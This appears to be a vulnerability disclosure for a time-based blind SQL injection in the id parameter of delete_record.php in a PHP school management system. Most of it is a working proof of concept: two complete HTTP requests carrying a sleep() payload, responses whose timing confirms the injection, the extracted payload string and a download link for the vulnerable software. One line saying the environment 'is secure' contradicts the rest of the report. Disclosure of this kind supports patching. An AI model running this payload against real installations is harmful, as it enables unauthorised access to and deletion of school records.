

SQL injection vulnerability exists in id parameter of /model/delete_record.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 GET /std1/model/delete_record.php?do=delete_record&id='%2B(select(0)from(select(sleep(4)))v)%2B'&page=1&table_name=class_room HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=20ptau7cr4s4oumkvlpq4l29mn
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 14:57:22 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 7
8
9 [1,"1"]
```

194 bytes | 4,336 millis

Sleep time is 8s:

Request

```
1 GET /std1/model/delete_record.php?do=delete_record&id='%2B(select(0)from(select(sleep(8)))v)%2B'&page=1&table_name=class_room HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=20ptau7cr4s4oumkvlpq4l29mn
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 14:58:13 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 7
8
9 [1,"1"]
```

194 bytes | 8,004 millis

Payload: id='%2B(select(0)from(select(sleep(8)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>